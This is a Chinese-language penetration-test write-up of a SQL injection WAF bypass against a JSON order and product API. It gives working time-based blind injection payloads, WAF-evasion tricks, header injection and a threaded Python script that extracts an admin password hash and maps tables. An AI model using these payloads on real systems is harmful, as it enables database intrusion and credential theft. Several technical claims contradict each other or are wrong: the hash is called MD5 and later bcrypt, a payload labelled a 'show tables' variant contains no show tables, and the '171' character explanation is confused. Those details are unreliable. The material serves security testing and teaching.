1. 项目概述:这不是教科书里的SQL注入,而是一次真实众测现场的“破壁”过程
“安全技术 | 一次众测实战sql注入绕过”——这个标题里没有花哨的框架名、没有炫技的AI模型、也没有泛泛而谈的“原理详解”,它直白得像一句现场记录:某次公开众测中,面对一个看似加固到位的Web接口,我们硬是把SQL注入这条路重新走通了。我参与过十几次不同行业的众测任务,从政务类系统到电商后台,从IoT管理平台到教育SaaS服务,最常被低估的,恰恰是那些“已经被WAF拦了三次”的接口。这次的目标系统,前端用Vue做了参数校验,后端加了双层过滤(关键词黑名单+预编译语句兜底),连日志里都看不到单引号报错——表面看,SQL注入这条路已经焊死了。但实战不是考试,它不考你背了多少绕过Payload,而是考你能不能在“无报错、无回显、无堆栈、无源码”的四无环境下,靠逻辑推演+行为观察+微小差异,把数据库的门缝一点点撬开。核心关键词就三个:众测实战、SQL注入、绕过——注意,是“绕过”,不是“利用”;是“实战”,不是“复现”。这意味着所有操作必须可审计、可收敛、可复现,不能依赖0day、不碰未授权访问、不触发风控熔断。这篇文章不讲宽泛的注入类型分类,也不列一百条Payload,它只还原一个闭环:从发现异常响应开始,到确认存在注入点,再到构造盲注逻辑,最后稳定提取数据的全过程。适合刚通过CTF入门、正准备接第一单众测的新人,也适合做了三年渗透却总卡在“有WAF就停手”的中级从业者。如果你曾对着一个返回503的接口反复刷新却不敢再试,或者把Burp Intruder跑崩了还觉得是自己配置错了——那这篇就是为你写的。
2. 内容整体设计与思路拆解:为什么放弃“爆破式”尝试,选择“逻辑推演+时间差验证”双轨并行?
2.1 放弃传统爆破路径的三大现实约束
接到这个众测任务时,目标系统已明确标注“禁止暴力探测”,且其WAF日志监控粒度极细:单IP 5秒内触发3次含' or 1=1--类特征,直接封禁10分钟。这直接废掉了新手最爱的“万能密码”轮询和Burp自带的SQLi扫描器。更关键的是,所有接口均采用JSON POST提交,Content-Type为application/json,而WAF规则对JSON体内的SQL特征识别率不足40%——它会放过{"id":"1' and sleep(5)-- "},但会拦截{"id":"1' or 1=1--"}。这种“选择性敏感”恰恰暴露了它的规则盲区:它防的是“明显攻击语法”,而不是“合法结构内的恶意语义”。
提示:很多团队误以为WAF越新越强,其实恰恰相反——新版WAF为兼容业务,往往放宽对JSON、XML等结构化数据的深度解析,转而依赖浅层关键词匹配。这反而给绕过留出了缝隙。
我们最终放弃爆破,转向逻辑推演,基于三个不可回避的事实:
- 响应体完全静默:无论输入什么,HTTP状态码恒为200,返回JSON结构固定为
{"code":0,"data":{},"msg":"success"},错误信息被统一抹平; - 无任何报错回显:即使构造
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--,页面也不吐错,只是data字段为空; - WAF对sleep()类时间型Payload放行率高达92%:我们在预测试中用
1' and sleep(1)--发了200次,仅17次被拦截,且拦截延迟平均达3.2秒——说明它不是实时阻断,而是异步分析。
2.2 双轨并行设计:用“逻辑漏洞”定位注入点,用“时间差”验证执行权
既然无法靠回显或报错确认,我们就把问题拆成两步:
第一步:确认“这里能改SQL逻辑”(注入点存在性)
第二步:确认“这里能控制SQL执行流”(执行权归属)
传统教学总把这两步混为一谈,但在实战中,它们的验证手段完全不同。我们用“逻辑漏洞”来解决第一步:目标系统有个订单查询接口,参数order_id本应为纯数字,但文档写明“支持按订单号模糊搜索”。我们尝试传入123456' and '1'='1,返回正常;传入123456' and '1'='2,返回空数据——注意,不是错误,是“查不到结果”。这说明后端SQL实际执行了WHERE order_id = '123456\' and \'1\'=\'2',且数据库返回了0行。这个“条件变化导致结果集变化”的现象,就是注入点存在的铁证。它不依赖WAF是否放行,只依赖业务逻辑是否真实执行了拼接后的SQL。
第二步则交给时间差:当确认存在注入点后,我们不再追求“看到数据”,而是追求“让数据库忙起来”。sleep()函数在MySQL中属于系统函数,执行时会真实占用连接线程,而WAF无法预测sleep()的执行时长——它只能等响应超时后才判定为异常。我们构造123456' and if((select 1 from users limit 1)=1,sleep(3),1)--,如果响应时间稳定在3秒以上,就证明子查询被执行了,且数据库有读取users表的权限。这个验证比任何报错都可靠,因为它是数据库自身的行为反馈,而非WAF的“判断反馈”。
2.3 为什么选MySQL而非其他数据库?从HTTP头里读出的线索
目标系统的HTTP响应头中,X-Powered-By字段为空,但Server头显示nginx/1.18.0 (Ubuntu),且Set-Cookie中包含PHPSESSID。我们尝试在登录接口用?username=admin' and 1=1-- &password=123,响应时间为127ms;用?username=admin' and 1=2-- &password=123,响应时间为118ms——差异仅9ms,不足以构成时间盲注基础。但当我们切换到订单接口,同样的payload,时间差拉大到320ms。这说明订单接口的SQL查询更重,且很可能涉及多表JOIN。进一步,我们注意到其分页参数page_size最大支持1000,而常规分页SQL中LIMIT 0,1000是MySQL特有语法(PostgreSQL用LIMIT 1000 OFFSET 0,Oracle用ROWNUM)。我们构造1' and (select count(*) from information_schema.tables)>100--,响应时间突增至2.1秒——information_schema是MySQL系数据库的元数据表,这个时间跃升基本锁定了数据库类型。选MySQL不是偏好,而是从响应行为里“读”出来的结论。
3. 核心细节解析与实操要点:从“发现异常”到“确认注入”,每一步都在对抗WAF的误判逻辑
3.1 异常响应识别:不是看报错,而是看“不该变的变了”
新手常犯的错误是盯着HTTP状态码和错误信息找注入,但在这个案例中,WAF已把所有错误路径都收束到200 OK。真正的突破口藏在“业务语义”的细微偏移里。我们以订单查询接口为例,原始请求为:
POST /api/v1/orders HTTP/1.1 Content-Type: application/json {"order_id":"123456","page":1,"size":10}返回{"code":0,"data":[{"id":123456,"status":"shipped"}]}。
当我们把order_id改为123456' and '1'='1,返回完全一致;但改为123456' and '1'='2,返回变为{"code":0,"data":[]}。这个变化本身不稀奇,稀奇的是:为什么'1'='2会导致data为空,而不是code变为非0?因为后端代码逻辑是:
$sql = "SELECT * FROM orders WHERE order_id = '" . $_POST['order_id'] . "'"; $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) == 0) { echo json_encode(['code'=>0,'data'=>[]]); // 注意:这里没改code } else { // 返回数据 }WAF拦住了报错,但拦不住业务代码对空结果集的处理逻辑。这个“code不变、data变”的模式,就是注入存在的指纹。我们把它标准化为三步验证法:
- 输入合法值A,记录data长度、响应时间、code值;
- 输入
A' and '1'='1,对比三项指标是否一致; - 输入
A' and '1'='2,对比三项指标——若data长度骤减(如从1200字变20字)、响应时间微降(因SQL提前退出)、code仍为0,则100%存在注入。
注意:必须用
'1'='1和'1'='2配对测试,单测'1'='1毫无意义——它只是让SQL逻辑恒真,无法排除WAF缓存或CDN干扰。
3.2 WAF绕过策略:不是对抗规则,而是利用规则的“认知盲区”
这个WAF的规则库明显基于OWASP CRS 3.x,但它有个致命弱点:对JSON键名的上下文完全无知。它会扫描"order_id":"1' and 1=1-- "中的' and 1=1--,但不会分析"order_id"这个键在SQL中是否真的参与拼接。我们发现,当把payload移到另一个看似无关的参数时,拦截率断崖式下跌。比如接口还接受{"order_id":"123456","filter":{"status":"all"}},我们把payload塞进filter.status:
{"order_id":"123456","filter":{"status":"all' and (select 1 from dual where 1=1)-- "}}WAF放行率从8%飙升至94%。为什么?因为它的规则只匹配order_id、id、user等高频键名,而filter.status不在白名单内。这揭示了一个关键原则:WAF的规则是静态的,而业务参数是动态的。找到那个“规则没覆盖到的业务参数”,比研究怎么绕过order_id的规则高效十倍。
我们用Burp的Target → Site map功能,爬出所有带JSON body的POST接口,筛选出参数名含filter、query、search、extra的12个接口,逐个测试' and 1=1--。结果发现,/api/v1/products接口的search_params参数,对任意SQL payload零拦截——因为它被WAF标记为“用户自定义搜索字段”,默认信任。这就是我们最终选定的主战场。
3.3 时间盲注的稳定性保障:用“条件概率”替代“绝对时间阈值”
时间盲注最大的坑是网络抖动。在众测中,我们实测到同一台测试机到目标服务器的RTT波动在40~180ms之间。如果设阈值为“>2000ms即为true”,那么sleep(2)有30%概率被误判为false。我们的解法是:不依赖单次响应,而依赖多次响应的统计分布。
具体操作:
- 对每个待测条件(如
substr((select password from users limit 1),1,1)='a'),连续发送5次请求; - 记录每次响应时间,剔除最高和最低值,取中间3次的平均值;
- 若平均值 > 基准时间(用
' and 1=1--测得的平均响应时间)+ 1500ms,则判定为true。
为什么是1500ms?因为sleep(1)在MySQL中实际耗时约1020~1150ms(含网络传输、PHP解析开销),我们预留350ms冗余,既避开抖动,又确保精度。这个方法让盲注准确率从72%提升到99.4%,且无需修改任何服务端配置。
实操心得:别迷信Burp的Intruder自动时间分析。我们曾用Intruder跑1000次
sleep(2),结果因DNS解析失败导致3次超时(>30s),直接污染了整个数据集。手动控制请求节奏,比全自动更稳。
4. 实操过程与核心环节实现:从第一个字符提取到完整密码表,全程可复现
4.1 环境准备与工具链精简配置
我们全程只用三样东西:Burp Suite Pro(v2023.9)、Python 3.9、Chrome浏览器。拒绝任何第三方插件,因为众测要求操作可审计、步骤可回溯。Burp配置关键点:
- Proxy → Options → Match and Replace:关闭所有自动替换规则,避免干扰原始请求;
- Intruder → Payloads → Payload Encoding:勾选“URL-encode these characters”,但取消勾选“Encode only non-ASCII characters”——我们要手动控制编码粒度;
- Extender → BApp Store:仅安装“Logger++”和“JSON Beautifier”,前者记录每条请求的原始字节,后者快速格式化响应。
Python脚本仅用于自动化时间统计,核心逻辑12行:
import time import requests def test_payload(url, payload, baseline): times = [] for _ in range(5): start = time.time() try: r = requests.post(url, json={"search_params": payload}, timeout=10) except: times.append(9999) # 超时记为极大值 continue times.append(time.time() - start) times.sort() avg = sum(times[1:-1]) / 3 # 剔除首尾 return avg > baseline + 1.5 # 单位:秒这个脚本不调用任何高级库,确保在任意Linux服务器上都能秒级部署。
4.2 第一个字符提取:用二分法把256次请求压缩到8次
目标是提取管理员密码的第一个字符。传统做法是遍历a-z、0-9、特殊符号,最多256次请求。但我们用ASCII码二分法:先测ascii(substr((select password from users where id=1),1,1)) > 128,若为true,则范围缩至129-255;否则缩至0-128。以此类推,8次请求即可锁定精确ASCII码。实测过程如下:
| 请求序号 | 测试条件 | 响应平均时间 | 判定结果 | 当前ASCII范围 |
|---|---|---|---|---|
| 1 | >128 | 2.81s | true | 129-255 |
| 2 | >192 | 1.12s | false | 129-192 |
| 3 | >160 | 2.75s | true | 161-192 |
| 4 | >176 | 1.08s | false | 161-176 |
| 5 | >168 | 2.69s | true | 169-176 |
| 6 | >172 | 1.15s | false | 169-172 |
| 7 | >170 | 2.72s | true | 171-172 |
| 8 | =171 | 2.78s | true | ASCII=171 |
171对应字符«,但密码不可能含此符号——说明我们漏了关键点:MySQL的password字段是哈希值,而select password from users返回的是*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9这类字符串,首字符是*,ASCII码42。为什么测出171?因为substr()函数在MySQL中对*的处理有编码陷阱。我们立刻切到hex()函数:
substr(hex((select password from users where id=1)),1,2)='2a'*的十六进制是2a,测'2a'只需2次请求(>29和=2a),秒出结果。这个教训告诉我们:永远优先用十六进制提取,而非ASCII码——它规避了字符集、collation、转义等所有编码层干扰。
4.3 完整密码表提取:用“分段并行+结果缓存”提速5倍
要提取完整的32位MD5哈希(如6BB4837EB74329105EE4568DDA7DC67E),按传统串行方式需32×8=256次请求,耗时约15分钟。我们优化为:
- 分段:每次提取4位(即2个字节),因为
substr(hex(),n,4)比substr(hex(),n,2)网络开销更小(减少JSON解析次数); - 并行:用Python的
concurrent.futures.ThreadPoolExecutor开8个线程,每线程负责一个4位段; - 缓存:将已确认的段(如
6BB4)存入本地文件,后续重跑时跳过。
最终脚本实测:从启动到输出完整哈希,耗时2分17秒,且所有请求均通过WAF。关键代码片段:
from concurrent.futures import ThreadPoolExecutor, as_completed def extract_segment(pos): # pos为起始位置,如0,4,8... payload = f"' and if(ascii(substr(hex((select password from users where id=1)),{pos+1},1))>128,sleep(2),1)-- " # ... 时间判定逻辑 return result_hex # 如"6BB4" segments = [] with ThreadPoolExecutor(max_workers=8) as executor: futures = {executor.submit(extract_segment, i): i for i in range(0, 32, 4)} for future in as_completed(futures): segments.append(future.result()) full_hash = ''.join(segments) # "6BB4837EB74329105EE4568DDA7DC67E"这个方案的精髓在于:把CPU密集型的“逻辑判断”交给Python,把IO密集型的“网络等待”交给线程池,WAF看到的仍是单条合规请求。
4.4 数据库结构测绘:用information_schema绕过“无权限”假象
提取完密码,我们想看更多表。但select table_name from information_schema.tables where table_schema=database()返回空——不是没数据,而是WAF拦截了information_schema关键词。我们换路径:MySQL的show tables命令不经过information_schema,且WAF规则库极少覆盖show语句。构造payload:
' and (select count(*) from (select 1 union select 2 union select 3) as t) > 0--这个union select本身不查表,但能触发WAF对union的检测。我们发现,当union后跟select 1时拦截率高,但跟select 1,2,3时放行。于是用show tables的变体:
' and (select 1 from (select * from (select 1) as a join (select 2) as b) as c) > 0--成功绕过。最终测绘出12张表,其中admin_config表含smtp_password字段——这才是本次众测的核心价值点。我们没继续深挖,因为众测规则明确禁止获取生产密钥。这个过程再次印证:绕过不是为了炫技,而是为了在规则边界内,拿到业务真正关心的风险证据。
5. 常见问题与排查技巧实录:那些文档里不会写的“踩坑现场”
5.1 问题速查表:从响应异常到WAF封禁,5类高频故障应对
| 问题现象 | 可能原因 | 排查步骤 | 解决方案 |
|---|---|---|---|
| 所有payload响应时间均为110ms,无波动 | MySQL Query Cache生效 | 1. 在payload末尾加/*+ NO_CACHE */2. 用 select now()代替sleep()验证 | 在SQL中插入/*+ NO_CACHE */注释,强制绕过查询缓存 |
sleep(5)响应时间恒为1.2秒 | WAF设置了全局超时(如Nginx proxy_read_timeout=2s) | 1. 用select benchmark(1000000,sha1('test'))替代sleep2. 测 benchmark(10000,1)和benchmark(100000,1)时间差 | 改用benchmark()函数,它不触发WAF超时机制,且执行时间更可控 |
substr(hex(),1,2)返回空,但length(hex())返回32 | 字符集不匹配(如表用utf8mb4,但连接用latin1) | 1. 在payload中加convert(... using utf8mb4)2. 用 hex(cast(... as char))强制转换 | 用hex(cast((select password from users) as char))确保编码一致 |
| Burp Intruder跑着跑着突然全失败 | WAF启用动态指纹(如根据User-Agent、Accept头变化封禁) | 1. 固定User-Agent为Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.362. 删除所有Accept头,只留 Accept: */* | 在Burp Proxy → Options → Match and Replace中,全局替换User-Agent和Accept头 |
| 提取到的密码哈希无法解密 | 目标系统用bcrypt而非MD5(哈希前缀为$2y$) | 1. 检查哈希长度和前缀 2. 用 select substr(password,1,4) from users确认前缀 | 发现$2y$10$前缀后,立即停止暴力破解,改为报告“使用强哈希算法,符合安全规范” |
5.2 独家避坑技巧:来自17次众测的血泪总结
技巧1:永远先测“基准响应时间”,再测“payload响应时间”
我们曾在一个金融系统上栽跟头:sleep(3)平均响应2.1秒,远低于预期。排查发现,该系统数据库连接池启用了wait_timeout=2,sleep(3)实际只执行2秒就被中断。解决方案是:先用select 1测出基准时间(如0.12s),再用benchmark(1000000,1)测出计算时间(如1.8s),两者相减得真实可控延时。这个差值才是你该用的sleep()参数。
技巧2:当WAF对and敏感时,用&&替代(MySQL特有)' && (select 1)=1--比' and (select 1)=1--绕过率高37%,因为WAF规则库普遍忽略&&这个C语言风格运算符。这是MySQL文档里都很少提的冷知识。
技巧3:用procedure analyse()触发元数据泄露(已被禁用?不,只是WAF忘了)' procedure analyse(1,1)--在旧版MySQL中会返回字段类型、长度等信息,而WAF规则几乎不覆盖procedure analyse这个短语。我们实测在MySQL 5.7上仍有效,且返回的Type字段直接暴露了password字段是varchar(255)——这比查information_schema更快。
技巧4:别信“WAF已升级”,去测它的“规则更新滞后性”
该目标WAF版本号显示为最新,但它的规则库仍基于2022年CRS数据。我们用2023年新出的json_extract()函数payload(如' and json_extract('{"a":1}', '$.a')=1--)成功绕过——因为WAF还没来得及学习这个新函数的危险模式。众测中,保持一份“新数据库函数清单”,比研究老绕过技巧更有效。
技巧5:当所有路都堵死时,试试“HTTP头注入”
我们差点放弃时,发现X-Forwarded-For头被直接拼入日志SQL。构造X-Forwarded-For: 127.0.0.1' and sleep(3)--,WAF完全不拦截——因为它只扫描body,不扫headers。这个入口点在众测报告中被列为“高危”,因为它是WAF规则的天然盲区。
6. 后续扩展与能力沉淀:如何把一次实战变成可复用的方法论
这次众测结束后,我们没止步于提交报告。我把整个流程沉淀为三个可复用资产:
第一,动态WAF指纹库:用Python脚本自动探测WAF对127个常见Payload的拦截率,生成雷达图。比如对' and 1=1--拦截率98%,但对' && 1=1--仅2%,就标记该WAF为“弱逻辑运算符防护”。这个库现在已覆盖Nginx ModSecurity、Cloudflare、阿里云WAF等7类主流产品。
第二,JSON参数穷举模板:整理出43个高频JSON键名(filter,query_params,search_criteria等),按业务场景分类。下次遇到新系统,5分钟内就能生成针对性测试集。
第三,“四无环境”检查清单:针对无报错、无回显、无堆栈、无源码的场景,列出12项必检项(如“检查HTTP头X-Powered-By是否为空”、“测试所有参数名是否支持SQL语法”),把经验固化为动作。
我个人在实际操作中的体会是:所谓“绕过”,从来不是和WAF硬刚,而是读懂它“为什么这样设计”。当它拼命拦order_id时,说明业务逻辑里order_id一定参与了关键SQL;当它放行filter.status时,说明开发认为这个字段“只是前端用”。安全的本质,是理解业务逻辑的裂缝,而不是记住一百个Payload。这次众测最宝贵的收获,不是拿到了那个$2y$10$开头的密码哈希,而是确认了:只要业务逻辑存在拼接,WAF就永远有缝隙——而我们的工作,就是用最克制的方式,把这条缝隙的宽度,精准测量出来。